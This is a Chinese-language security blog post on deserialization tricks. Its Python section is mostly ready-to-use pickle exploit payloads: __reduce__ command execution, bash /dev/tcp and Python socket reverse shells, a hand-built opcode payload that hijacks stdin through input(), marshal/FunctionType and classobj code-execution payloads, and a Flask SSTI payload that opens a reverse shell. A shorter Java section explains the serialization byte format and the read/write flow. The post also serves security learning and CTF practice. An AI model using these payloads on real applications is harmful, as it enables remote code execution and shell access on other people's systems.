Ethan's Blog

反序列化的一些tricks

字数统计: 4.1k阅读时长: 17 min
2019/04/06 Share

简介:

今天记录一些python和java关于反序列化的一些tricks!以备以后查阅!

正文
python反序列化

关于序列化与反序列化则不再赘述,在python中,我们通常采用几种库json、pickle/cPickle,当然还有marshal啊shelve啊之类的,不枚举了。这里重点聊聊pickle/cPickle,这两者我们用起来没有任何区别,我个人没有深究二者实现之类的,只知道cPickle的速度远大于pickle就行了。然后这两兄弟有什么问题呢,简单的说就是在在调用他们的loads方法(反序列化)的时候,会根据输入执行python代码,比如我传入

1
"\x80\x03cbuiltins\neval\nq\x00X\x0f\x00\x00\x00os.system('ls')q\x01\x85q\x02Rq\x03."

这样的字符串到pickle的loads方法中,就能执行os.system('ls'),那么这样的串是怎么构造出来的呢?

看这里,pickle官方文档中reduce一栏

构造的关键就是__reduce__函数,这个魔术方法的作用根据上面的文档简单总结如下:

  • 如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后return 'a',那么它就会在当前的作用域中寻找名为a的对象然后返回,否则报错。
  • 如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。所以比如最后return (eval,("os.system('ls')",)),那么就是执行eval函数,然后元组内的值作为参数,从而达到执行命令或代码的目的,当然也可以return (os.system,('ls',))

看看下面的栗子

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
# encoding: utf-8
import os
import pickle
class test(object):
def __reduce__(self):
#return (eval,("os.system('ls')",))
return (os.system,('ls',))

a=test()
c=pickle.dumps(a)
print c
pickle.loads(c)

这是简单的执行命令,至于反弹shell的方法就不用说了,看看waitalone师傅的linux下反弹shell的方法,基本的bash反弹如下

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
# encoding: utf-8
import os
import pickle
class test(object):
def __reduce__(self):
code='bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"'
return (os.system,(code,))
a=test()
c=pickle.dumps(a)
print c
pickle.loads(c)

所以很容易能看出来其实python的反序列化漏洞相当可啪。

另外要着重提一下,关于这个__reduce__方法是新式类(内置类)特有的,关于新式类和旧式类参照一篇博客:python深入学习(一):类与元类(metaclass)的理解

因此上面的poc,由print的语法看出来我用的python2,所以test类需要继承自object,python3则不需要。

至于这个反序列化得到的字符串的格式代表的意义此处不做深究,可以参照文章Python Pickle的任意代码执行漏洞实践和Payload构造或是Arbitrary code execution with Python pickles

0x01 基础利用

通常我们利用__reduce__函数进行构造,一个样例如下:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
# encoding: utf-8
import os
import pickle
class test(object):
def __reduce__(self):
return (os.system,('ls',))

a=test()
payload=pickle.dumps(a)
print payload
pickle.loads(payload)

其中pickle.loads是会解决import 问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。 之前把python的标准库都大概过了一遍,把其中绝大多数的可用函数罗列如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

除开我们常见的那些os库、subprocess库、commands库之外还有很多可以执行命令的函数,这里用举两个不常用的:

1
2
3
4
5
map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',])

sys.call_tracing(__import__('os').system,('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',))

platform.popen("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")
0x02 input函数

相信有童鞋已经敏锐的注意到了这个input函数,这个通常很难进入大家的视线。 这个函数也仅在python2中能够利用,在博客python深入学习(三):从py2到py3 中提到过为什么。 这个函数在python2中是能够执行python代码的。但是有一个问题就是这个函数是从标准输入获取字符串,所以怎么利用就是一个问题,不过相信大家看到我 hook pickle的load的方法就知道这里该怎么利用了,我们可以利用StringIO库,然后将标准输入修改为StringIO创建的内存缓冲区即可。 接下来说说怎么把这个函数用起来。 首先关于pickle 的数据流协议在python2里面有三种,python3里面有五种,默认的是0,具体可以看看勾陈安全实验室的写的Python Pickle的任意代码执行漏洞实践和Payload构造,其中对协议进行说明,这里搬运下:

1
2
3
4
5
6
c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
.:结束pickle。

好的我们来构造一下这个input函数

1
2
3
4
c__builtin__
input
(S'input: '
tR.

然后我们要想办法修改一下标准输入,正常python2里面我们一般这样修改

img

但是在pickle的0号协议中,我们不能用等于符号,但是我们可以用setattr函数

img

好的现在万事就绪了,只需要把这一套用上述协议转换一下就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
c__builtin__
setattr
(c__builtin__
__import__
(S'sys'
tRS'stdin'
cStringIO
StringIO
(S'__import__('os').system(\'curl 127.0.0.1:12345\')'
tRtRc__builtin__
input
(S'input: '
tR.

直接反弹shell就行了

1
2
3
a='''c__builtin__\nsetattr\n(c__builtin__\n__import__\n(S'sys'\ntRS'stdin'\ncStringIO\nStringIO\n(S'__import__('os').system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')'\ntRtRc__builtin__\ninput\n(S'python> '\ntR.'''

pickle.loads(a)
0x03 任意函数构造

在勾陈安全实验室的文章中,提到了一个types.FunctionType配上marshal.loads的方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
import marshal

def foo():
import os
os.system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')

payload="""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR."""%base64.b64encode(marshal.dumps(foo.func_code))

pickle.loads(payload)

payload="""ctypes
FunctionType
(cmarshal
loads
(S'%s'
tRc__builtin__
globals
(tRS''
tR(tR."""%marshal.dumps(foo.func_code).encode('string-escape')

pickle.loads(payload)

这里不再赘述,同样的思路我们还有一些别的方法,例如和types.FunctionType几乎一样的函数new.function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
import marshal

def foo():
import os
os.system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')

payload="""cnew
function
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR."""%base64.b64encode(marshal.dumps(foo.func_code))

pickle.loads(payload)

payload="""cnew
function
(cmarshal
loads
(S'%s'
tRc__builtin__
globals
(tRS''
tR(tR."""%marshal.dumps(foo.func_code).encode('string-escape')

pickle.loads(payload)
0x04 类函数构造

这里主要使用new.classobj函数来构造一个类函数对象然后执行,这样就可以调用原有库的一些函数,也可以自己构造。

1
2
3
payload=pickle.dumps(new.classobj('system', (), {'__getinitargs__':lambda self,arg=('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',):arg, '__module__': 'os'})())

pickle.loads(payload)

lambda语句也可以换成上述提到的new.function或是types.FunctionType的构造。

既然有了这种思路,那么new库里面的提到的很多东西都可以转换思路了。有兴趣可以去研究一下

0x05 构造SSTI

本来这是一个打算用于以后的一个点的,但是这次有人用这种方法做出来了,那我也就分享一下了。说道要找执行代码的函数,不久前的qwb和hitb我都特意采用了Flask框架。而要知道Flask的render_template_string所引发的SSTI漏洞则又是另一个可利用的点了。

1
payload="cflask.templating\nrender_template_string\np0\n(S\"{% for x in (().__class__.__base__.__subclasses__()) %}{%if x.__name__ =='catch_warnings'%}{{x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')}}{%endif%}{%endfor%}\"\np1\ntp2\nRp3\n."
0x06 其它注意
  • PyYAML
  • marshal
  • shelve
参考

参考链接:https://xz.aliyun.com/t/2289

参考链接2:https://www.anquanke.com/post/id/86800

参考链接3:http://bendawang.site/2018/03/01/关于Python-sec的一些总结/

java反序列化

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的 ObjectOutputStream 类的 writeObject() 方法可以实现序列化,类 ObjectInputStream类的readObject() 方法用于反序列化。

如果要实现类的反序列化,则是对其实现 Serializable 接口

序列数据结构

而该对象经过Java序列化后得到的则是一个二进制串:

1
2
3
4
5
6
ac ed 00 05 73 72 00 11  53 65 72 69 61 6c 69 7a    ....sr.. Serializ
61 74 69 6f 6e 44 65 6d 6f d9 35 3c f7 d6 0a c6 ationDem o.5<....
d5 02 00 02 49 00 08 69 6e 74 46 69 65 6c 64 4c ....I..i ntFieldL
00 0b 73 74 72 69 6e 67 46 69 65 6c 64 74 00 12 ..string Fieldt..
4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 6e Ljava/la ng/Strin
67 3b 78 70 00 01 7d f1 74 00 05 67 79 79 79 79 g;xp..}. t..gyyyy

仔细观察二进制串中的部分可读数据,我们也可以差不多分辨出该对象的一些基本内容。但同样为了手写的目的 (为什么有这个目的?原因很简单,为了不被语言环境束缚) ,以及为接下来的序列化执行流程分析做准备,我们先依次来解读一下这个二进制串中的各个元素。

  • 0xaced,魔术头
  • 0x0005,版本号 (JDK主流版本一致,下文如无特殊标注,都以JDK8u为例)
  • 0x73,对象类型标识 (0x7n基本上都定义了类型标识符常量,但也要看出现的位置,毕竟它们都在可见字符的范围,详见java.io.ObjectStreamConstants)
  • 0x72,类描述符标识
  • 0x0011...,类名字符串长度和值 (Java序列化中的UTF8格式标准)
  • 0xd9353cf7d60ac6d5,序列版本唯一标识 (serialVersionUID,简称SUID)
  • 0x02,对象的序列化属性标志位,如是否是Block Data模式、自定义writeObject()SerializableExternalizableEnum类型等
  • 0x0002,类的字段个数
  • 0x49,整数类型签名的第一个字节,同理,之后的0x4c为字符串类型签名的第一个字节 (类型签名表示与JVM规范中的定义相同)
  • 0x0008...,字段名字符串长度和值,非原始数据类型的字段还会在后面加上数据类型标识、完整类型签名长度和值,如之后的0x740012...
  • 0x78 Block Data结束标识
  • 0x70 父类描述符标识,此处为null
  • 0x00017df1 整数字段intField的值 (Java序列化中的整数格式标准) ,非原始数据类型的字段则会按对象的方式处理,如之后的字符串字段stringField被识别为字符串类型,输出字符串类型标识、字符串长度和值

由此可以看出,除了基本格式和一些整数表现形式上的不同之外,Java和PHP的序列化结果还是存在很多相似的地方,比如除了具体值外都会对类型进行描述。

需要注意的是,Java序列化中对字段进行封装时,会按原始和非原始数据类型排序 (有同学可能想问为什么要这么做,这里我只能简单解释原因有两个,一是因为它们两个的表现形式不同,原始数据类型字段可以直接通过偏移量读取固定个数的字节来赋值;二是在封装时会计算原始类型字段的偏移量和总偏移量,以及非原始类型字段的个数,这使得反序列化阶段可以很方便的把原始和非原始数据类型分成两部分来处理) ,且其中又会按字段名排序。

而开头固定的0xaced0005也可以作为Java序列化二进制串 (Base64编码为rO0AB…) 的识别标识。

序列化的执行流程:
  1. ObjectOutputStream实例初始化时,将魔术头和版本号写入bout (BlockDataOutputStream类型)
  2. 调用ObjectOutputStream.writeObject()开始写对象数据
    • 写入对象类型标识
    • writeClassDesc()进入分支writeNonProxyDesc()写入类描述数据
    • writeSerialData()写入对象的序列化数据
    • 写入类描述符标识
    • 写入类名
    • 写入SUID (当SUID为空时,会进行计算并赋值,细节见下面关于SerialVersionUID章节)
    • 计算并写入序列化属性标志位
    • 写入字段信息数据
    • 写入Block Data结束标识
    • 写入父类描述数据
    • 若类自定义了writeObject(),则调用该方法写对象,否则调用defaultWriteFields()写入对象的字段数据 (若是非原始类型,则递归处理子对象)
    • ObjectStreamClass.lookup()封装待序列化的类描述 (返回ObjectStreamClass类型) ,获取包括类名、自定义serialVersionUID、可序列化字段 (返回ObjectStreamField类型) 和构造方法,以及writeObjectreadObject方法等
    • writeOrdinaryObject()写入对象数据
反序列化流程

继续用简单的示例来看看反序列化:

1
2
3
4
5
6
public static void main(String[] args) throws ClassNotFoundException {
byte[] data; // read from file or request
ByteArrayInputStream bin = new ByteArrayInputStream(data);
ObjectInputStream in = new ObjectInputStream(bin);
SerializationDemo demo = (SerializationDemo) in.readObject();
}

它的执行流程如下:

  1. ObjectInputStream实例初始化时,读取魔术头和版本号进行校验
  2. 调用ObjectInputStream.readObject()开始读对象数据
    • readClassDesc()读取类描述数据
    • ObjectStreamClass.newInstance()获取并调用离对象最近的非Serializable的父类的无参构造方法 (若不存在,则返回null) 创建对象实例
    • readSerialData()读取对象的序列化数据
    • 读取类描述符标识,进入分支readNonProxyDesc()
    • 读取类名
    • 读取SUID
    • 读取并分解序列化属性标志位
    • 读取字段信息数据
    • resolveClass()根据类名获取待反序列化的类的Class对象,如果获取失败,则抛出ClassNotFoundException
    • skipCustomData()循环读取字节直到Block Data结束标识为止
    • 读取父类描述数据
    • initNonProxy()中判断对象与本地对象的SUID和类名 (不含包名) 是否相同,若不同,则抛出InvalidClassException
    • 若类自定义了readObject(),则调用该方法读对象,否则调用defaultReadFields()读取并填充对象的字段数据
    • 读取对象类型标识
    • readOrdinaryObject()读取数据对象
参考链接
CATALOG
  1. 1. 简介:
    1. 1.1. 正文
    2. 1.2. python反序列化
      1. 1.2.1. 0x01 基础利用
      2. 1.2.2. 0x02 input函数
      3. 1.2.3. 0x03 任意函数构造
      4. 1.2.4. 0x04 类函数构造
      5. 1.2.5. 0x05 构造SSTI
      6. 1.2.6. 0x06 其它注意
      7. 1.2.7. 参考
    3. 1.3. java反序列化
      1. 1.3.1. 序列数据结构
      2. 1.3.2. 序列化的执行流程:
      3. 1.3.3. 反序列化流程
      4. 1.3.4. 参考链接